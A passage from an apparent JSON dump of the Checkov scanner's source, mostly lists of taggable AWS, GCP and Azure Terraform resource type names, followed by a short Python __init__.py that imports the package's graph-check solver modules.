\"aws_verifiedaccess_trust_provider\",\n        \"aws_vpc_ipam_resource_discovery\",\n        \"aws_vpc_ipam_resource_discovery_association\",\n        \"aws_vpc_security_group_egress_rule\",\n        \"aws_vpc_security_group_ingress_rule\",\n        \"aws_vpclattice_access_log_subscription\",\n        \"aws_vpclattice_listener\",\n        \"aws_vpclattice_listener_rule\",\n        \"aws_vpclattice_service\",\n        \"aws_vpclattice_service_network\",\n        \"aws_vpclattice_service_network_service_association\",\n        \"aws_vpclattice_service_network_vpc_association\",\n        \"aws_vpclattice_target_group\",\n        \"aws_workspaces_connection_alias\",\n        \"aws_bedrockagent_agent\",\n        \"aws_api_gateway_domain_name_access_association\",\n        \"aws_appfabric_app_authorization\",\n        \"aws_appfabric_app_bundle\",\n        \"aws_appfabric_ingestion\",\n        \"aws_appfabric_ingestion_destination\",\n        \"aws_appintegrations_data_integration\",\n        \"aws_backup_logically_air_gapped_vault\",\n        \"aws_backup_restore_testing_plan\",\n        \"aws_bcmdataexports_export\",\n        \"aws_bedrock_custom_model\",\n        \"aws_bedrock_guardrail\",\n        \"aws_bedrock_inference_profile\",\n        \"aws_bedrock_provisioned_model_throughput\",\n        \"aws_bedrockagent_agent_alias\",\n        \"aws_bedrockagent_knowledge_base\",\n        \"aws_chatbot_slack_channel_configuration\",\n        \"aws_chatbot_teams_channel_configuration\",\n        \"aws_cleanrooms_membership\",\n        \"aws_cloudfront_vpc_origin\",\n        \"aws_cloudwatch_log_anomaly_detector\",\n        \"aws_cloudwatch_log_delivery\",\n        \"aws_cloudwatch_log_delivery_destination\",\n        \"aws_cloudwatch_log_delivery_source\",\n        \"aws_codebuild_fleet\",\n        \"aws_codeconnections_connection\",\n        \"aws_codeconnections_host\",\n        \"aws_controltower_landing_zone\",\n        \"aws_datazone_domain\",\n        \"aws_drs_replication_configuration_template\",\n        \"aws_ec2_capacity_block_reservation\",\n        \"aws_elasticache_reserved_cache_node\",\n        \"aws_fms_resource_set\",\n        \"aws_globalaccelerator_cross_account_attachment\",\n        \"aws_guardduty_malware_protection_plan\",\n        \"aws_imagebuilder_lifecycle_policy\",\n        \"aws_m2_application\",\n        \"aws_m2_environment\",\n        \"aws_media_packagev2_channel_group\",\n        \"aws_memorydb_multi_region_cluster\",\n        \"aws_networkfirewall_tls_inspection_configuration\",\n        \"aws_networkmanager_dx_gateway_attachment\",\n        \"aws_networkmonitor_monitor\",\n        \"aws_networkmonitor_probe\",\n        \"aws_osis_pipeline\",\n        \"aws_paymentcryptography_key\",\n        \"aws_pinpoint_email_template\",\n        \"aws_pinpointsmsvoicev2_configuration_set\",\n        \"aws_pinpointsmsvoicev2_opt_out_list\",\n        \"aws_pinpointsmsvoicev2_phone_number\",\n        \"aws_quicksight_analysis\",\n        \"aws_quicksight_dashboard\",\n        \"aws_quicksight_data_set\",\n        \"aws_quicksight_namespace\",\n        \"aws_quicksight_template\",\n        \"aws_quicksight_theme\",\n        \"aws_rds_cluster_snapshot_copy\",\n        \"aws_rds_integration\",\n        \"aws_rekognition_collection\",\n        \"aws_rekognition_project\",\n        \"aws_rekognition_stream_processor\",\n        \"aws_resiliencehub_resiliency_policy\",\n        \"aws_route53domains_domain\",\n        \"aws_route53profiles_association\",\n        \"aws_route53profiles_profile\",\n        \"aws_sagemaker_hub\",\n        \"aws_sagemaker_mlflow_tracking_server\",\n        \"aws_securityhub_automation_rule\",\n        \"aws_securitylake_subscriber\",\n        \"aws_servicecatalogappregistry_application\",\n        \"aws_servicecatalogappregistry_attribute_group\",\n        \"aws_ssmcontacts_rotation\",\n        \"aws_ssmquicksetup_configuration_manager\",\n        \"aws_timestreaminfluxdb_db_instance\",\n        \"aws_timestreamquery_scheduled_query\",\n        \"aws_vpc_block_public_access_exclusion\",\n        \"aws_vpclattice_resource_configuration\",\n        \"aws_vpclattice_resource_gateway\",\n        \"aws_vpclattice_service_network_resource_association\"\n    ],\n    \"gcp_taggable\": [\n        \"google_bigquery_dataset\",\n        \"google_bigquery_job\",\n        \"google_bigquery_table\",\n        \"google_monitoring_notification_channel\",\n        \"google_bigtable_instance\",\n        \"google_composer_environment\",\n        \"google_dns_managed_zone\",\n        \"google_cloudfunctions_function\",\n        \"google_healthcare_dicom_store\",\n        \"google_healthcare_fhir_store\",\n        \"google_healthcare_hl7_v2_store\",\n        \"google_kms_crypto_key\",\n        \"google_project\",\n        \"google_pubsub_subscription\",\n        \"google_pubsub_topic\",\n        \"google_spanner_instance\",\n        \"google_storage_bucket\",\n        \"google_tpu_node\",\n        \"google_compute_address\",\n        \"google_compute_disk\",\n        \"google_compute_forwarding_rule\",\n        \"google_compute_global_address\",\n        \"google_compute_global_forwarding_rule\",\n        \"google_compute_image\",\n        \"google_compute_instance\",\n        \"google_compute_instance_from_template\",\n        \"google_compute_instance_template\",\n        \"google_compute_interconnect_attachment\",\n        \"google_compute_region_disk\",\n        \"google_compute_snapshot\",\n        \"google_compute_vpn_tunnel\",\n        \"google_dataflow_job\",\n        \"google_dataproc_cluster\",\n        \"google_dataproc_job\",\n        \"google_filestore_instance\",\n        \"google_ml_engine_model\",\n        \"google_redis_instance\",\n        \"google_secret_manager_secret\",\n        \"google_dataflow_flex_template_job\",\n        \"google_active_directory_domain\",\n        \"google_cloud_identity_group\",\n        \"google_compute_external_vpn_gateway\",\n        \"google_game_services_game_server_cluster\",\n        \"google_game_services_game_server_config\",\n        \"google_game_services_game_server_deployment\",\n        \"google_game_services_realm\",\n        \"google_network_management_connectivity_test\",\n        \"google_notebooks_instance\",\n        \"google_eventarc_trigger\",\n        \"google_healthcare_consent_store\",\n        \"google_workflows_workflow\",\n        \"google_assured_workloads_workload\",\n        \"google_dataproc_workflow_template\",\n        \"google_dialogflow_cx_intent\",\n        \"google_gke_hub_membership\",\n        \"google_memcache_instance\",\n        \"google_network_services_edge_cache_keyset\",\n        \"google_network_services_edge_cache_origin\",\n        \"google_network_services_edge_cache_service\",\n        \"google_notebooks_runtime\",\n        \"google_privateca_ca_pool\",\n        \"google_privateca_certificate\",\n        \"google_privateca_certificate_authority\",\n        \"google_privateca_certificate_template\",\n        \"google_recaptcha_enterprise_key\",\n        \"google_vertex_ai_dataset\",\n        \"google_artifact_registry_repository\",\n        \"google_certificate_manager_certificate\",\n        \"google_certificate_manager_certificate_map\",\n        \"google_certificate_manager_certificate_map_entry\",\n        \"google_certificate_manager_dns_authorization\",\n        \"google_clouddeploy_delivery_pipeline\",\n        \"google_clouddeploy_target\",\n        \"google_data_fusion_instance\",\n        \"google_dataplex_lake\",\n        \"google_dataproc_metastore_service\",\n        \"google_network_connectivity_hub\",\n        \"google_network_connectivity_spoke\",\n        \"google_beyondcorp_app_connector\",\n        \"google_beyondcorp_app_gateway\",\n        \"google_cloud_run_v2_job\",\n        \"google_cloud_run_v2_service\",\n        \"google_cloudfunctions2_function\",\n        \"google_dataplex_asset\",\n        \"google_dataplex_zone\",\n        \"google_datastream_connection_profile\",\n        \"google_datastream_private_connection\",\n        \"google_filestore_backup\",\n        \"google_filestore_snapshot\",\n        \"google_vertex_ai_endpoint\",\n        \"google_vertex_ai_featurestore\",\n        \"google_vertex_ai_featurestore_entitytype\",\n        \"google_vertex_ai_featurestore_entitytype_feature\",\n        \"google_vertex_ai_index\",\n        \"google_vertex_ai_tensorboard\",\n        \"google_alloydb_backup\",\n        \"google_alloydb_cluster\",\n        \"google_alloydb_instance\",\n        \"google_beyondcorp_app_connection\",\n        \"google_certificate_manager_certificate_issuance_config\",\n        \"google_certificate_manager_trust_config\",\n        \"google_clouddomains_registration\",\n        \"google_compute_region_instance_template\",\n        \"google_database_migration_service_connection_profile\",\n        \"google_database_migration_service_private_connection\",\n        \"google_dataplex_datascan\",\n        \"google_dataplex_task\",\n        \"google_datastream_stream\",\n        \"google_edgecontainer_cluster\",\n        \"google_edgecontainer_node_pool\",\n        \"google_edgecontainer_vpn_connection\",\n        \"google_edgenetwork_network\",\n        \"google_edgenetwork_subnet\",\n        \"google_gke_backup_backup_plan\",\n        \"google_gke_backup_restore_plan\",\n        \"google_gke_hub_feature\",\n        \"google_gke_hub_membership_binding\",\n        \"google_gke_hub_namespace\",\n        \"google_gke_hub_scope\",\n        \"google_gke_hub_scope_rbac_role_binding\",\n        \"google_integration_connectors_connection\",\n        \"google_integration_connectors_endpoint_attachment\",\n        \"google_migration_center_group\",\n        \"google_netapp_active_directory\",\n        \"google_netapp_backup_policy\",\n        \"google_netapp_backup_vault\",\n        \"google_netapp_kmsconfig\",\n        \"google_netapp_storage_pool\",\n        \"google_netapp_volume\",\n        \"google_network_connectivity_policy_based_route\",\n        \"google_network_connectivity_service_connection_policy\",\n        \"google_network_security_address_group\",\n        \"google_network_services_gateway\",\n        \"google_secure_source_manager_instance\",\n        \"google_vertex_ai_feature_group\",\n        \"google_vertex_ai_feature_group_feature\",\n        \"google_vertex_ai_feature_online_store\",\n        \"google_vertex_ai_feature_online_store_featureview\",\n        \"google_vertex_ai_index_endpoint\",\n        \"google_workbench_instance\",\n        \"google_tpu_v2_vm\",\n        \"google_apihub_api_hub_instance\",\n        \"google_backup_dr_backup_vault\",\n        \"google_blockchain_node_engine_blockchain_nodes\",\n        \"google_clouddeploy_automation\",\n        \"google_clouddeploy_custom_target_type\",\n        \"google_colab_runtime_template\",\n        \"google_compute_interconnect\",\n        \"google_database_migration_service_migration_job\",\n        \"google_dataplex_aspect_type\",\n        \"google_dataplex_entry_group\",\n        \"google_dataplex_entry_type\",\n        \"google_dataproc_batch\",\n        \"google_dataproc_gdc_application_environment\",\n        \"google_dataproc_gdc_service_instance\",\n        \"google_dataproc_gdc_spark_application\",\n        \"google_dataproc_metastore_federation\",\n        \"google_developer_connect_connection\",\n        \"google_developer_connect_git_repository_link\",\n        \"google_edgenetwork_interconnect_attachment\",\n        \"google_gemini_code_repository_index\",\n        \"google_gemini_repository_group\",\n        \"google_healthcare_pipeline_job\",\n        \"google_healthcare_workspace\",\n        \"google_integration_connectors_managed_zone\",\n        \"google_managed_kafka_cluster\",\n        \"google_memorystore_instance\",\n        \"google_netapp_backup\",\n        \"google_netapp_volume_replication\",\n        \"google_netapp_volume_snapshot\",\n        \"google_network_connectivity_group\",\n        \"google_network_connectivity_internal_range\",\n        \"google_network_connectivity_regional_endpoint\",\n        \"google_network_management_vpc_flow_logs_config\",\n        \"google_network_security_authz_policy\",\n        \"google_network_security_client_tls_policy\",\n        \"google_network_security_firewall_endpoint\",\n        \"google_network_security_firewall_endpoint_association\",\n        \"google_network_security_security_profile\",\n        \"google_network_security_security_profile_group\",\n        \"google_network_security_server_tls_policy\",\n        \"google_network_services_authz_extension\",\n        \"google_network_services_lb_route_extension\",\n        \"google_network_services_lb_traffic_extension\",\n        \"google_oracle_database_autonomous_database\",\n        \"google_oracle_database_cloud_exadata_infrastructure\",\n        \"google_oracle_database_cloud_vm_cluster\",\n        \"google_parallelstore_instance\",\n        \"google_secret_manager_regional_secret\",\n        \"google_spanner_instance_config\",\n        \"google_transcoder_job\",\n        \"google_transcoder_job_template\"\n    ],\n    \"azure_taggable\": [\n        \"azurerm_api_management\",\n        \"azurerm_api_management_named_value\",\n        \"azurerm_api_management_property\",\n        \"azurerm_analysis_services_server\",\n        \"azurerm_app_configuration\",\n        \"azurerm_app_service\",\n        \"azurerm_app_service_certificate\",\n        \"azurerm_app_service_certificate_order\",\n        \"azurerm_app_service_environment\",\n        \"azurerm_app_service_plan\",\n        \"azurerm_app_service_slot\",\n        \"azurerm_function_app\",\n        \"azurerm_function_app_slot\",\n        \"azurerm_application_insights\",\n        \"azurerm_application_insights_web_test\",\n        \"azurerm_user_assigned_identity\",\n        \"azurerm_automation_account\",\n        \"azurerm_automation_dsc_configuration\",\n        \"azurerm_automation_runbook\",\n        \"azurerm_resource_group\",\n        \"azurerm_batch_account\",\n        \"azurerm_bot_channels_registration\",\n        \"azurerm_bot_web_app\",\n        \"azurerm_cdn_endpoint\",\n        \"azurerm_cdn_profile\",\n        \"azurerm_cognitive_account\",\n        \"azurerm_availability_set\",\n        \"azurerm_dedicated_host\",\n        \"azurerm_dedicated_host_group\",\n        \"azurerm_disk_encryption_set\",\n        \"azurerm_image\",\n        \"azurerm_linux_virtual_machine\",\n        \"azurerm_linux_virtual_machine_scale_set\",\n        \"azurerm_managed_disk\",\n        \"azurerm_orchestrated_virtual_machine_scale_set\",\n        \"azurerm_proximity_placement_group\",\n        \"azurerm_shared_image\",\n        \"azurerm_shared_image_gallery\",\n        \"azurerm_shared_image_version\",\n        \"azurerm_snapshot\",\n        \"azurerm_virtual_machine\",\n        \"azurerm_virtual_machine_extension\",\n        \"azurerm_virtual_machine_scale_set\",\n        \"azurerm_windows_virtual_machine\",\n        \"azurerm_windows_virtual_machine_scale_set\",\n        \"azurerm_container_group\",\n        \"azurerm_container_registry\",\n        \"azurerm_container_registry_webhook\",\n        \"azurerm_kubernetes_cluster\",\n        \"azurerm_kubernetes_cluster_node_pool\",\n        \"azurerm_cosmosdb_account\",\n        \"azurerm_custom_provider\",\n        \"azurerm_dns_a_record\",\n        \"azurerm_dns_aaaa_record\",\n        \"azurerm_dns_caa_record\",\n        \"azurerm_dns_cname_record\",\n        \"azurerm_dns_mx_record\",\n        \"azurerm_dns_ns_record\",\n        \"azurerm_dns_ptr_record\",\n        \"azurerm_dns_srv_record\",\n        \"azurerm_dns_txt_record\",\n        \"azurerm_dns_zone\",\n        \"azurerm_kusto_cluster\",\n        \"azurerm_data_factory\",\n        \"azurerm_data_lake_analytics_account\",\n        \"azurerm_data_lake_store\",\n        \"azurerm_data_share_account\",\n        \"azurerm_mariadb_server\",\n        \"azurerm_mssql_database\",\n        \"azurerm_mssql_elasticpool\",\n        \"azurerm_mssql_server\",\n        \"azurerm_mssql_virtual_machine\",\n        \"azurerm_mysql_server\",\n        \"azurerm_postgresql_server\",\n        \"azurerm_sql_database\",\n        \"azurerm_sql_elasticpool\",\n        \"azurerm_sql_failover_group\",\n        \"azurerm_sql_server\",\n        \"azurerm_database_migration_project\",\n        \"azurerm_database_migration_service\",\n        \"azurerm_databricks_workspace\",\n        \"azurerm_dev_test_global_vm_shutdown_schedule\",\n        \"azurerm_dev_test_lab\",\n        \"azurerm_dev_test_linux_virtual_machine\",\n        \"azurerm_dev_test_policy\",\n        \"azurerm_dev_test_schedule\",\n        \"azurerm_dev_test_virtual_network\",\n        \"azurerm_dev_test_windows_virtual_machine\",\n        \"azurerm_devspace_controller\",\n        \"azurerm_hdinsight_hadoop_cluster\",\n        \"azurerm_hdinsight_hbase_cluster\",\n        \"azurerm_hdinsight_interactive_query_cluster\",\n        \"azurerm_hdinsight_kafka_cluster\",\n        \"azurerm_hdinsight_ml_services_cluster\",\n        \"azurerm_hdinsight_rserver_cluster\",\n        \"azurerm_hdinsight_spark_cluster\",\n        \"azurerm_hdinsight_storm_cluster\",\n        \"azurerm_dedicated_hardware_security_module\",\n        \"azurerm_healthcare_service\",\n        \"azurerm_iotcentral_application\",\n        \"azurerm_iothub\",\n        \"azurerm_iothub_dps\",\n        \"azurerm_key_vault\",\n        \"azurerm_key_vault_certificate\",\n        \"azurerm_key_vault_key\",\n        \"azurerm_key_vault_secret\",\n        \"azurerm_lb\",\n        \"azurerm_log_analytics_solution\",\n        \"azurerm_log_analytics_workspace\",\n        \"azurerm_logic_app_integration_account\",\n        \"azurerm_logic_app_workflow\",\n        \"azurerm_machine_learning_workspace\",\n        \"azurerm_maintenance_configuration\",\n        \"azurerm_managed_application\",\n        \"azurerm_managed_application_definition\",\n        \"azurerm_maps_account\",\n        \"azurerm_media_services_account\",\n        \"azurerm_eventgrid_domain\",\n        \"azurerm_eventgrid_topic\",\n        \"azurerm_eventhub_cluster\",\n        \"azurerm_eventhub_namespace\",\n        \"azurerm_notification_hub\",\n        \"azurerm_notification_hub_namespace\",\n        \"azurerm_relay_namespace\",\n        \"azurerm_servicebus_namespace\",\n        \"azurerm_signalr_service\",\n        \"azurerm_spatial_anchors_account\",\n        \"azurerm_monitor_action_group\",\n        \"azurerm_monitor_action_rule_action_group\",\n        \"azurerm_monitor_action_rule_suppression\",\n        \"azurerm_monitor_activity_log_alert\",\n        \"azurerm_monitor_autoscale_setting\",\n        \"azurerm_monitor_metric_alert\",\n        \"azurerm_monitor_scheduled_query_rules_alert\",\n        \"azurerm_monitor_scheduled_query_rules_log\",\n        \"azurerm_netapp_account\",\n        \"azurerm_netapp_pool\",\n        \"azurerm_netapp_volume\",\n        \"azurerm_application_gateway\",\n        \"azurerm_application_security_group\",\n        \"azurerm_bastion_host\",\n        \"azurerm_express_route_circuit\",\n        \"azurerm_express_route_gateway\",\n        \"azurerm_firewall\",\n        \"azurerm_frontdoor\",\n        \"azurerm_frontdoor_firewall_policy\",\n        \"azurerm_local_network_gateway\",\n        \"azurerm_nat_gateway\",\n        \"azurerm_network_ddos_protection_plan\",\n        \"azurerm_network_interface\",\n        \"azurerm_network_profile\",\n        \"azurerm_network_security_group\",\n        \"azurerm_network_watcher\",\n        \"azurerm_network_watcher_flow_log\",\n        \"azurerm_point_to_site_vpn_gateway\",\n        \"azurerm_private_endpoint\",\n        \"azurerm_private_link_service\",\n        \"azurerm_public_ip\",\n        \"azurerm_public_ip_prefix\",\n        \"azurerm_route_filter\",\n        \"azurerm_route_table\",\n        \"azurerm_traffic_manager_profile\",\n        \"azurerm_virtual_hub\",\n        \"azurerm_virtual_network\",\n        \"azurerm_virtual_network_gateway\",\n        \"azurerm_virtual_network_gateway_connection\",\n        \"azurerm_virtual_wan\",\n        \"azurerm_vpn_gateway\",\n        \"azurerm_vpn_server_configuration\",\n        \"azurerm_web_application_firewall_policy\",\n        \"azurerm_dashboard\",\n        \"azurerm_powerbi_embedded\",\n        \"azurerm_private_dns_a_record\",\n        \"azurerm_private_dns_aaaa_record\",\n        \"azurerm_private_dns_cname_record\",\n        \"azurerm_private_dns_mx_record\",\n        \"azurerm_private_dns_ptr_record\",\n        \"azurerm_private_dns_srv_record\",\n        \"azurerm_private_dns_txt_record\",\n        \"azurerm_private_dns_zone\",\n        \"azurerm_private_dns_zone_virtual_network_link\",\n        \"azurerm_recovery_services_vault\",\n        \"azurerm_redis_cache\",\n        \"azurerm_search_service\",\n        \"azurerm_service_fabric_cluster\",\n        \"azurerm_spring_cloud_service\",\n        \"azurerm_hpc_cache\",\n        \"azurerm_storage_account\",\n        \"azurerm_stream_analytics_job\",\n        \"azurerm_synapse_workspace\",\n        \"azurerm_iot_time_series_insights_reference_data_set\",\n        \"azurerm_iot_time_series_insights_standard_environment\",\n        \"azurerm_app_service_managed_certificate\",\n        \"azurerm_attestation_provider\",\n        \"azurerm_digital_twins_instance\",\n        \"azurerm_disk_access\",\n        \"azurerm_eventgrid_system_topic\",\n        \"azurerm_firewall_policy\",\n        \"azurerm_integration_service_environment\",\n        \"azurerm_iot_security_solution\",\n        \"azurerm_iot_time_series_insights_gen2_environment\",\n        \"azurerm_ip_group\",\n        \"azurerm_log_analytics_cluster\",\n        \"azurerm_log_analytics_saved_search\",\n        \"azurerm_media_streaming_endpoint\",\n        \"azurerm_monitor_smart_detector_alert_rule\",\n        \"azurerm_network_connection_monitor\",\n        \"azurerm_resource_group_template_deployment\",\n        \"azurerm_security_center_automation\",\n        \"azurerm_service_fabric_mesh_application\",\n        \"azurerm_service_fabric_mesh_local_network\",\n        \"azurerm_service_fabric_mesh_secret\",\n        \"azurerm_service_fabric_mesh_secret_value\",\n        \"azurerm_ssh_public_key\",\n        \"azurerm_stack_hci_cluster\",\n        \"azurerm_storage_sync\",\n        \"azurerm_subnet_service_endpoint_storage_policy\",\n        \"azurerm_subscription_template_deployment\",\n        \"azurerm_synapse_spark_pool\",\n        \"azurerm_synapse_sql_pool\",\n        \"azurerm_virtual_desktop_application_group\",\n        \"azurerm_virtual_desktop_host_pool\",\n        \"azurerm_virtual_desktop_workspace\",\n        \"azurerm_virtual_hub_security_partner_provider\",\n        \"azurerm_vpn_site\",\n        \"azurerm_communication_service\",\n        \"azurerm_databox_edge_device\",\n        \"azurerm_express_route_port\",\n        \"azurerm_management_group_template_deployment\",\n        \"azurerm_media_live_event\",\n        \"azurerm_purview_account\",\n        \"azurerm_redis_enterprise_cluster\",\n        \"azurerm_subscription\",\n        \"azurerm_tenant_template_deployment\",\n        \"azurerm_vmware_private_cloud\",\n        \"azurerm_aadb2c_directory\",\n        \"azurerm_active_directory_domain_service\",\n        \"azurerm_app_configuration_feature\",\n        \"azurerm_app_configuration_key\",\n        \"azurerm_app_service_environment_v3\",\n        \"azurerm_bot_service_azure_bot\",\n        \"azurerm_container_registry_task\",\n        \"azurerm_cosmosdb_cassandra_cluster\",\n        \"azurerm_data_protection_backup_vault\",\n        \"azurerm_disk_pool\",\n        \"azurerm_healthbot\",\n        \"azurerm_iot_time_series_insights_event_source_eventhub\",\n        \"azurerm_iot_time_series_insights_event_source_iothub\",\n        \"azurerm_key_vault_managed_hardware_security_module\",\n        \"azurerm_key_vault_managed_storage_account\",\n        \"azurerm_key_vault_managed_storage_account_sas_token_definition\",\n        \"azurerm_load_test\",\n        \"azurerm_logic_app_standard\",\n        \"azurerm_logz_monitor\",\n        \"azurerm_machine_learning_compute_cluster\",\n        \"azurerm_machine_learning_compute_instance\",\n        \"azurerm_machine_learning_inference_cluster\",\n        \"azurerm_machine_learning_synapse_spark\",\n        \"azurerm_maps_creator\",\n        \"azurerm_monitor_private_link_scope\",\n        \"azurerm_mssql_failover_group\",\n        \"azurerm_mssql_job_agent\",\n        \"azurerm_mysql_flexible_server\",\n        \"azurerm_netapp_snapshot_policy\",\n        \"azurerm_postgresql_flexible_server\",\n        \"azurerm_service_fabric_managed_cluster\",\n        \"azurerm_sql_managed_instance\",\n        \"azurerm_static_site\",\n        \"azurerm_storage_disks_pool\",\n        \"azurerm_stream_analytics_cluster\",\n        \"azurerm_synapse_private_link_hub\",\n        \"azurerm_video_analyzer\",\n        \"azurerm_virtual_desktop_scaling_plan\",\n        \"azurerm_api_connection\",\n        \"azurerm_application_insights_workbook\",\n        \"azurerm_application_insights_workbook_template\",\n        \"azurerm_capacity_reservation\",\n        \"azurerm_capacity_reservation_group\",\n        \"azurerm_cdn_frontdoor_endpoint\",\n        \"azurerm_cdn_frontdoor_profile\",\n        \"azurerm_confidential_ledger\",\n        \"azurerm_container_registry_agent_pool\",\n        \"azurerm_data_protection_resource_guard\",\n        \"azurerm_elastic_cloud_elasticsearch\",\n        \"azurerm_fluid_relay_server\",\n        \"azurerm_gallery_application\",\n        \"azurerm_gallery_application_version\",\n        \"azurerm_healthcare_dicom_service\",\n        \"azurerm_healthcare_fhir_service\",\n        \"azurerm_healthcare_workspace\",\n        \"azurerm_linux_function_app\",\n        \"azurerm_linux_function_app_slot\",\n        \"azurerm_linux_web_app\",\n        \"azurerm_linux_web_app_slot\",\n        \"azurerm_logz_sub_account\",\n        \"azurerm_monitor_data_collection_rule\",\n        \"azurerm_mssql_managed_database\",\n        \"azurerm_mssql_managed_instance\",\n        \"azurerm_portal_dashboard\",\n        \"azurerm_route_server\",\n        \"azurerm_service_plan\",\n        \"azurerm_web_pubsub\",\n        \"azurerm_windows_function_app\",\n        \"azurerm_windows_function_app_slot\",\n        \"azurerm_windows_web_app\",\n        \"azurerm_windows_web_app_slot\",\n        \"azurerm_automation_watcher\",\n        \"azurerm_cdn_frontdoor_firewall_policy\",\n        \"azurerm_dashboard_grafana\",\n        \"azurerm_databricks_access_connector\",\n        \"azurerm_datadog_monitor\",\n        \"azurerm_healthcare_medtech_service\",\n        \"azurerm_iothub_device_update_account\",\n        \"azurerm_iothub_device_update_instance\",\n        \"azurerm_kubernetes_fleet_manager\",\n        \"azurerm_lab_service_plan\",\n        \"azurerm_log_analytics_query_pack\",\n        \"azurerm_log_analytics_query_pack_query\",\n        \"azurerm_monitor_alert_processing_rule_action_group\",\n        \"azurerm_monitor_alert_processing_rule_suppression\",\n        \"azurerm_monitor_data_collection_endpoint\",\n        \"azurerm_monitor_scheduled_query_rules_alert_v2\",\n        \"azurerm_network_manager\",\n        \"azurerm_nginx_deployment\",\n        \"azurerm_orbital_contact_profile\",\n        \"azurerm_orbital_spacecraft\",\n        \"azurerm_private_dns_resolver\",\n        \"azurerm_private_dns_resolver_dns_forwarding_ruleset\",\n        \"azurerm_private_dns_resolver_inbound_endpoint\",\n        \"azurerm_private_dns_resolver_outbound_endpoint\",\n        \"azurerm_resource_deployment_script_azure_cli\",\n        \"azurerm_resource_deployment_script_azure_power_shell\",\n        \"azurerm_application_insights_standard_web_test\",\n        \"azurerm_application_load_balancer\",\n        \"azurerm_application_load_balancer_frontend\",\n        \"azurerm_application_load_balancer_subnet_association\",\n        \"azurerm_arc_kubernetes_cluster\",\n        \"azurerm_arc_machine_extension\",\n        \"azurerm_arc_private_link_scope\",\n        \"azurerm_arc_resource_bridge_appliance\",\n        \"azurerm_automanage_configuration\",\n        \"azurerm_automation_powershell72_module\",\n        \"azurerm_automation_python3_package\",\n        \"azurerm_container_app\",\n        \"azurerm_container_app_environment\",\n        \"azurerm_container_app_environment_certificate\",\n        \"azurerm_cosmosdb_postgresql_cluster\",\n        \"azurerm_custom_ip_prefix\",\n        \"azurerm_dev_center\",\n        \"azurerm_dev_center_project\",\n        \"azurerm_elastic_san\",\n        \"azurerm_email_communication_service\",\n        \"azurerm_graph_account\",\n        \"azurerm_graph_services_account\",\n        \"azurerm_lab_service_lab\",\n        \"azurerm_machine_learning_datastore_blobstorage\",\n        \"azurerm_machine_learning_datastore_datalake_gen2\",\n        \"azurerm_machine_learning_datastore_fileshare\",\n        \"azurerm_managed_lustre_file_system\",\n        \"azurerm_mobile_network\",\n        \"azurerm_mobile_network_attached_data_network\",\n        \"azurerm_mobile_network_data_network\",\n        \"azurerm_mobile_network_packet_core_control_plane\",\n        \"azurerm_mobile_network_packet_core_data_plane\",\n        \"azurerm_mobile_network_service\",\n        \"azurerm_mobile_network_sim_group\",\n        \"azurerm_mobile_network_sim_policy\",\n        \"azurerm_mobile_network_site\",\n        \"azurerm_mobile_network_slice\",\n        \"azurerm_monitor_alert_prometheus_rule_group\",\n        \"azurerm_monitor_workspace\",\n        \"azurerm_mssql_virtual_machine_group\",\n        \"azurerm_network_function_azure_traffic_collector\",\n        \"azurerm_network_function_collector_policy\",\n        \"azurerm_palo_alto_local_rulestack_rule\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_hub_local_rulestack\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_hub_panorama\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_network_local_rulestack\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_network_panorama\",\n        \"azurerm_sentinel_threat_intelligence_indicator\",\n        \"azurerm_storage_mover\",\n        \"azurerm_virtual_machine_run_command\",\n        \"azurerm_voice_services_communications_gateway\",\n        \"azurerm_voice_services_communications_gateway_test_line\",\n        \"azurerm_ai_services\",\n        \"azurerm_arc_kubernetes_provisioned_cluster\",\n        \"azurerm_arc_machine\",\n        \"azurerm_cognitive_account_rai_policy\",\n        \"azurerm_container_app_job\",\n        \"azurerm_dashboard_grafana_managed_private_endpoint\",\n        \"azurerm_dev_center_dev_box_definition\",\n        \"azurerm_dev_center_environment_type\",\n        \"azurerm_dev_center_network_connection\",\n        \"azurerm_dev_center_project_environment_type\",\n        \"azurerm_dev_center_project_pool\",\n        \"azurerm_dynatrace_monitor\",\n        \"azurerm_email_communication_service_domain\",\n        \"azurerm_eventgrid_namespace\",\n        \"azurerm_fabric_capacity\",\n        \"azurerm_key_vault_managed_hardware_security_module_key\",\n        \"azurerm_mongo_cluster\",\n        \"azurerm_netapp_backup_policy\",\n        \"azurerm_netapp_backup_vault\",\n        \"azurerm_oracle_autonomous_database\",\n        \"azurerm_oracle_cloud_vm_cluster\",\n        \"azurerm_oracle_exadata_infrastructure\",\n        \"azurerm_redhat_openshift_cluster\",\n        \"azurerm_restore_point_collection\",\n        \"azurerm_stack_hci_logical_network\",\n        \"azurerm_stack_hci_marketplace_gallery_image\",\n        \"azurerm_stack_hci_network_interface\",\n        \"azurerm_stack_hci_storage_path\",\n        \"azurerm_stack_hci_virtual_hard_disk\",\n        \"azurerm_static_web_app\",\n        \"azurerm_system_center_virtual_machine_manager_availability_set\",\n        \"azurerm_system_center_virtual_machine_manager_cloud\",\n        \"azurerm_system_center_virtual_machine_manager_server\",\n        \"azurerm_system_center_virtual_machine_manager_virtual_machine_template\",\n        \"azurerm_system_center_virtual_machine_manager_virtual_network\",\n        \"azurerm_trusted_signing_account\",\n        \"azurerm_video_indexer_account\",\n        \"azurerm_virtual_machine_restore_point_collection\",\n        \"azurerm_workloads_sap_discovery_virtual_instance\",\n        \"azurerm_workloads_sap_single_node_virtual_instance\",\n        \"azurerm_workloads_sap_three_tier_virtual_instance\"\n    ]\n}\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/__init__.py",
    "content": "from checkov.common.checks_infra.solvers.attribute_solvers import *  # noqa\nfrom checkov.common.checks_infra.solvers.complex_solvers import *  # noqa\nfrom checkov.common.checks_infra.solvers.connections_solvers import *  # noqa\nfrom checkov.common.checks_infra.solvers.filter_solvers import *  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/__init__.py",
